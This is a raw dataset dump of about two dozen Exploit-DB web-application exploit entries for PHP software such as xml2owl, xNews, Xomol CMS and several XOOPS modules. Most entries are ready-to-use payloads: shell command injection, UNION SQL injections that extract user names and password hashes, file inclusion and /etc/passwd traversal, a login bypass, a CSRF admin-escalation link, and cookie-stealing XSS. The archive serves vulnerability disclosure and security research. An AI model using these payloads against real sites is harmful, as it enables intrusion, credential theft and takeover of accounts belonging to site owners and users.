deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4800
Description: xml2owl 0.1.1 - 'showcode.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2007-12-28
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Command Execution

---------------------------------------------------------------

# Author: MhZ91
# Title: xml2owl-0.1.1 - Remote Command Execution
# Download: http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
# Bug: Remote Command Execution
# Info: Up to now, most ontologies are created manually, which is very time-expensive. The goal is it, to produce ontologies automatically via XSLT, which fit as good as possible to a given XML-file resp. XML-Schema-file
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

In the file showCode.php there is this... 

<?
	$xml2html = "xsl/xmlverbatim.xsl";
	$path = $_REQUEST['path']; <- 
	
  if(class_exists('XSLTProcessor')) {
    $xsl = new XSLTProcessor();
    
    $res = DOMDocument::load($path);
  
    $xsl->importStylesheet(DOMDocument::load($xml2html));
    echo $xsl->transformToXML($res);
  }
  else {
    $exec_string = "xsltproc " . $xml2html . " " . $path; <-
    echo shell_exec($exec_string); <-
  }
?>

We can modify the $path variable.. and give a remote command execution by the function shell_exec.. 

Type http://www.site.com/showCode.php?path=;uname -a

... 

---------------------------------------------------------------

# milw0rm.com [2007-12-28]
Exploit-DB #43535
Description: Xnami 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-12
Author: Dennis Veninga

Exploit:
# Exploit Title: Xnami Image Sharing - Persistent XSS Vulnerability
# Google Dork: "  Copyright 2017 xnami. " & 2018
# Date: 11-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: bizlogicdev.com
# Version: 1.0
# CVE-ID: CVE-2018-5370

Xnami facilitates the creation of an image sharing community. This is
similar in
functionality to sites like imgur, ImageShack, et al.

BizLogic xnami 1.0 has XSS via the comment parameter in an addComment
action to the /media/ajax URI.

At any uploaded media there is a comment system where people can post (also
anonymous).
The comment system is vulnerable to XSS attacks. Since it's persistent
and there is an user login interface, it's possible for attackers to
steal sessions of users and thus admin(s).

---------------------------
---------------------------
PoC with mediaId 611 as example:

POST:
http://{{target}/media/ajax

method: addComment
comment: "><XSSCODE<
mediaId 611
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the
media.
Exploit-DB #3216
Description: xNews 1.3 - 'xNews.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-28
Author: ajann

Exploit:
*******************************************************************************
# Title   :  xNews 1.3 (xNews.php) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.x-dev.de
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//xNews.php?act=shownews&id=[SQL]

Example:

//xNews.php?act=shownews&id=-1/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/xnews_user/**/where/**/id%20like%201/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-28]
Exploit-DB #21383
Description: xNewsletter 1.0 - Form Field Input Validation
Type: webapps
Platform: php
Date: 2002-04-14
Author: Firehack

Exploit:
source: https://www.securityfocus.com/bid/4516/info

xNewsletter is a script that allows web users to subscribe to a newsletter. It is written in PHP and will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

xNewsletter does not sanitize dangerous characters from form field input such as the e-mail address of the newsletter recipient. It has been demonstrated that this condition may be exploited to cause multiple instances of the same e-mail address to be written to the datafile. An attacker may effectively trick the script into mail bombing an arbitrary e-mail address.

It has also been demonstrated that the attacker may cause arbitrary data to be written to the datafile in such a way that it cannot be removed using the facilities provided by xNewsletter. The malformed data must be removed from the datafile manually.

These two consequences of insufficent validation of form input may be exploited in conjunction with each other. 

Subscribe with the following code to create an almost undeletable
entry:
<?php inlcude("text.txt");?>testmail@localhost.de

Subscribe with the following address to add an address more than one time:
(testmail@localhost.de)%testmail@localhost.de%testmail@localhost.de%testmail@localhost.de
Exploit-DB #6254
Description: XNova 0.8 sp1 - 'xnova_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-17
Author: NuclearHaxor

Exploit:
##################################################################################################################################
Name: Xnova(Ogame) Remote File Inclusion
Author : NuclearHaxor
Contact MSN: nuclearhaxor@hotmail.com

homepage of xnova: http://xnova.fr/

Vuln file: includes/todofleetcontrol.php
Vuln line: include($ugamela_root_path . 'includes/functions/FlyingFleetHandler.'.$phpEx); -> but no declared ugamela_root_path ;)

Exploit(this exploit works in 90% targets):

------
target.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]?
or new version of xnova:
target.com/includes/todofleetcontrol.php?xnova_root_path=[shell]?
------

FUckZZz to Cybernet1c(2) aka ph4nt0mh4ck3r && Cr4wl aka Raz0r

##################################################################################################################################

# milw0rm.com [2008-08-17]
Exploit-DB #16059
Description: Xnova Legacies 2009.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-01-26
Author: Xploit A Day

Exploit:
# Exploit Title: Xnova Legacies 2009.2 CSRF
# Date: 27/1/2011
# Author: @xploitaday
# Software Homepage: http://www.xnova-ng.org/
# Software Link: http://downloads.tuxfamily.org/xnlegacies/releases/xnova-legacies_2009.2.tar.gz
# Version: 2009.2

Vuln file: admin/paneladmina.php
Vuln Lines:
108-117
				case 'usr_level':
					$Player     = $_GET['player'];
					$NewLvl     = $_GET['authlvl'];

					$QryUpdate  = doquery("UPDATE {{table}} SET `authlevel` = '".$NewLvl."' WHERE `username` = '".$Player."';", 'users');
					$Message    = $lang['adm_mess_lvl1']. " ". $Player ." ".$lang['adm_mess_lvl2'];
					$Message   .= "<font color=\"red\">".$lang['adm_usr_level'][ $NewLvl ]."</font>!";

					AdminMessage ( $Message, $lang['adm_mod_level'] );
					break;

Description:
If you are a moderator, you can set you admin.
And if an admin visit this link, you be will granted with admin privileges (control of game)

Replace SERVER and PLAYER with yours
					
Attack url: http://SERVER/admin/paneladmina.php?result=usr_level&player=PLAYER&authlvl=3
Exploit-DB #20703
Description: XODA Document Management System 0.4.5 - Cross-Site Scripting / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-08-21
Author: Shai rod

Exploit:
# Exploit Title: XODA Document Management System Stored XSS & Arbitrary File Upload Vulnerability.
# Date: 21/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://xoda.org/
# Software Link: http://sourceforge.net/projects/xoda/files/xoda/xoda-0.4.5/
# Version: 0.4.5
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

XODA targets the end-user allowing organizing of documents in a professional manner.


Vulnerability Description
=========================

1. Arbitrary File Upload:

It is possible to access the file upload page "?upload_to=" without the need to authenticate (log in) to the XODA system.
An attacker is able to upload a web shell to the server and gain unauzhorized access to the operating system.

Vulnerable URL: http://server/xodadir/?upload_to=

Default location of uploaded files: http://server/xodadir/files/


2. Stored XSS in file description.

Steps to reproduce the XSS:

2.1 Select a document.
2.2 Click on description.
2.3 Enter XSS Payload: <img src='1.jpg'onerror=javascript:alert(document.cookie)>
2.4 Reload the page XSS Should be triggered.

3. Stored XSS in filters.

Steps to reproduce the XSS:

3.1 Select the document.
3.2 Click on filters.
3.3 In the "Filters (one per line):" field insert XSS paload: <img src='1.jpg'onerror=javascript:alert(document.cookie)>
3.4 Click "Set filters".
3.5 Click on the document icon to open its properties.
3.6 XSS Should be triggered.
Exploit-DB #32021
Description: Xomol CMS 1.2 - '/index.php' HTML Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-09
Author: Julian Rodriguez

Exploit:
source: https://www.securityfocus.com/bid/30156/info

Xomol CMS is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Xomol CMS 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?op=tellafriend&current_url=">/><script>alert(/xssed/)</script>
Exploit-DB #5673
Description: Xomol CMS 1.2 - Authentication Bypass / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-25
Author: DNX

Exploit:
                     \#'#/
                     (-.-)
   -------------oOO---(_)---OOo------------
   |    Xomol CMS v1 Login Bypass & LFI   |
   |             coded by DNX             |
   ----------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.xomol.net
[!] Detected...: 12.05.2008
[!] Reported...: 13.05.2008 (didn't work: host mail.xomol.net said: 554 5.7.1 - Relay access denied)
[!] Response...: xx.xx.2008

[!] Background.: Xomol CMS is a content management system based on PHP and MySQL

[!] Bug Bypass.: $_POST['email'] and $_POST['password'] in index.php near line 59

                 58: if(!empty($_POST['email'])&&!empty($_POST['password'])){
                 59:      $sql='SELECT user_id FROM users WHERE user_email="'.$_POST['email'].'"  AND  user_password="'.md5($_POST['password']).'" AND user_status=1';
                 60:      $result = sql_query($sql, $dbi);

[!] Bug LFI....: $op in index.php near line 272

                 234: switch($op){

                 270:     default:
                 271:     if (file_exists('modules/'.$op.'/index.php')) {
                 272:         include('modules/'.$op.'/index.php');

[!] PoC Bypass.: Login with email: " OR user_group=1/*"" and password: not empty
                 (works only with magic_quotes_gpc = off)

[!] PoC LFI....: http://127.0.0.1/xomol/index.php?op=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-05-25]
Exploit-DB #22501
Description: Xonic.ru News 1.0 - 'script.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2003-03-31
Author: DWC Gr0up

Exploit:
source: https://www.securityfocus.com/bid/7365/info

A vulnerability has been reported for Xonic.ru News. The problem occurs due to insufficient sanitization of user-supplied data to the 'script.php' file. As a result, it may be possible for an attacker to pass malicious PHP or shell commands in requests to a target server. All commands would be executed on the system with the privileges of the vulnerable application.

http://www.example.org/admin/script.php?data=script.php?data=<? system($cmd) ?>
Exploit-DB #46610
Description: XooDigital - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-26
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: XooDigital - 'p' SQL Injection
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://xooscripts.com/product/digital-download-protection-script.html
# Demo Site: http://xooscripts.com/demos/xoodigital/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC : SQLi -----

Request: http://localhost/[PATH]/results.php?p=1
Vulnerable Parameter: p (GET)
Payload: p=1') OR NOT 7970=7970#
Exploit-DB #46609
Description: XooGallery - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2019-03-26
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: XooGallery - Multiple SQL Injections
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://xooscripts.com/product/html5-php-photo-gallery.html
# Demo Site: http://xooscripts.com/demos/xoogallery/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gal.php?gal_id=1
Vulnerable Parameter: gal_id (GET)
Payload: gal_id=29' AND 2692=2692 AND 'WCFf'='WCFf

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/photo.php?photo_id=1
Vulnerable Parameter: photo_id (GET)
Payload: photo_id=1' AND 5479=5479#

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/cat.php?cat_id=1
Vulnerable Parameter: cat_id (GET)
Payload: cat_id=1' AND 9338=9338 AND 'SZIH'='SZIH


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/results.php?p=1
Vulnerable Parameter: p (GET)
Payload: p=-8412' OR 2597=2597#
Exploit-DB #31251
Description: XOOPS 'badliege' Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27892/info

The XOOPS 'badliege' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/badliege/index.php?op=show&id=-9999999/**/union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from+xoops_users/*where%20admin%20-5
Exploit-DB #31249
Description: XOOPS 'events' Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27890/info

The XOOPS 'events' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/events/index.php?op=show&id=-6666+union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from/**/xoops_users/*where%20admin%20-111
Exploit-DB #31284
Description: XOOPS 'prayerlist' Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27934/info

XOOPS 'prayerlist' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/prayerlist/index.php?pa=view&cid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass)/**/from/**/xoops_users/*
Exploit-DB #31250
Description: XOOPS 'seminars' Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27891/info

The XOOPS 'seminars' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/seminars/index.php?op=show&id=-77777/**/union/**/select/**/0x3a,0x3a,0x3a,0x3a,uname,pass,0x3a,0x3a,0x3a/**/from/**/xoops_users/*where%20admin
Exploit-DB #31248
Description: XOOPS 'vacatures' Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27889/info

XOOPS 'vacatures' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/vacatures/index.php?pa=view&cid=-00000/**/union/**/select/**/0000,concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/**where%20admin%20-111
Exploit-DB #35524
Description: XOOPS - 'view_photos.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-29
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47085/info

XOOPS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/modules/jobs/view_photos.php?lid=-9999&uid="><script>alert(document.cookie);</script>
Exploit-DB #21829
Description: XOOPS 1.0 RC3 - HTML Injection
Type: webapps
Platform: php
Date: 2002-09-24
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5785/info

Problems with XOOPS could make it possible to execute arbitrary script code in a vulnerable client.

XOOPS does not sufficiently filter potentially malicious HTML code from posted messages. As a result, when a user views a message posting that contains malicious HTML code, the code contained in the message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the XOOPS software.


<IMG SRC="javascript:[javascript]">
Exploit-DB #23026
Description: Xoops 1.0/1.3.x - BBCode HTML Injection
Type: webapps
Platform: php
Date: 2003-08-13
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8414/info

Xoops BBCode has been reported prone to an HTML injection vulnerability. It has been reported that an attacker may inject malicious script into areas of Xoops where BBCode is rendered. This issue is due to a lack of sufficient sanitization performed on user supplied BBCode tags. Injected code may be rendered in the web browser of a user who views vulnerable areas of the site. This would occur in the security context of the site hosting Xoops and its related modules.

[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/size]

[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]
Exploit-DB #22080
Description: Xoops 1.3.5 - Private Message System Font Attributes HTML Injection
Type: webapps
Platform: php
Date: 2002-11-09
Author: fred magistrat

Exploit:
source: https://www.securityfocus.com/bid/6344/info

Xoops includes a Private Message System for users, so that they may send messages to one another. HTML tags used for font attributes are not sufficiently filtered of malicious HTML code. This makes it possible for an attacker to supply malicious input in the HTML font tags that contain arbitrary script code. When another user receives the attacker's private message, the malicious script code will be executed on that user in the context of the site running Xoops.

<b onMouseOver="alert(document.location);">test</b>
<i onClick="alert(document.location);">test</i>
<u onClick="alert('Hello');">test</u>
Exploit-DB #22539
Description: Xoops 1.3.x/2.0 MyTextSanitizer - HTML Injection
Type: webapps
Platform: php
Date: 2003-04-25
Author: magistrat

Exploit:
source: https://www.securityfocus.com/bid/7434/info

A HTML injection vulnerability has been discovered in Xoops. The problem occurs due to insufficient filtering of HTML and script code by the MyTextSanitizer script.

Successful exploitation of this vulnerability may allow a malicious Xoops user to execute arbitrary HTML or script code within the browser of a legitimate user. 

java script:alert%28document.cookie%29

The script code must be embedded within HTML <img> tags.
Exploit-DB #23416
Description: Xoops 1.3.x/2.0.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2003-12-06
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/9166/info

Multiple vulnerabilities were reported in Xoops. These issues include SQL injection and input validation issues that will allow remote attackers to manipulate banners and local variables. Exploitation could compromise the software or have other consequences.

http://www.example.com/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'
/*

http://www.example.com/banners.php?op=Change&cid=-1&bid=100&url=HTTP://WWW.NEWURL.C
OM
Exploit-DB #22389
Description: XOOPS 2.0 XoopsOption - Information Disclosure
Type: webapps
Platform: php
Date: 2003-03-20
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7149/info

XOOPS has been reported vulnerable to an information disclosure vulnerability. According to the report, path information and other sensitive data may be output in server error messages. Information obtained in this manner may be used by an attacker to launch further attacks against a vulnerable system. This vulnerability was reported to affect XOOPS version 2.0. It is not currently known if other versions are affected.

http://www.example.com/index.php?xoopsOption=any_word